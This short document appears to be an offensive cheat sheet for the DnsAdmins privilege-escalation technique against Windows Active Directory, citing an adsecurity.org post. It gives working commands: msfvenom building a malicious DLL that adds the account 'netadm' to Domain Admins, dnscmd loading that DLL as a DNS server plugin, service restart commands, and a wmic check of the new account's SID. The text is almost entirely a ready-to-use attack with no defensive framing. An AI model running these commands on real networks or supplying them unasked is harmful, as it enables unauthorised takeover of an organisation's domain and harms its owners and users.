See: https://adsecurity.org/?p=4064

Generating malicious DLL:

msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll

Then upload the DLL.

Configuring the custom DLL:

dnscmd.exe /config /serverlevelplugindll C:\\Users\\netadm\\Desktop\\adduser.dll

The DLL will be loaded at next DNS service restart:

sc stop dns
sc start
sc query dns
wmic useraccount where name="netadm" get sid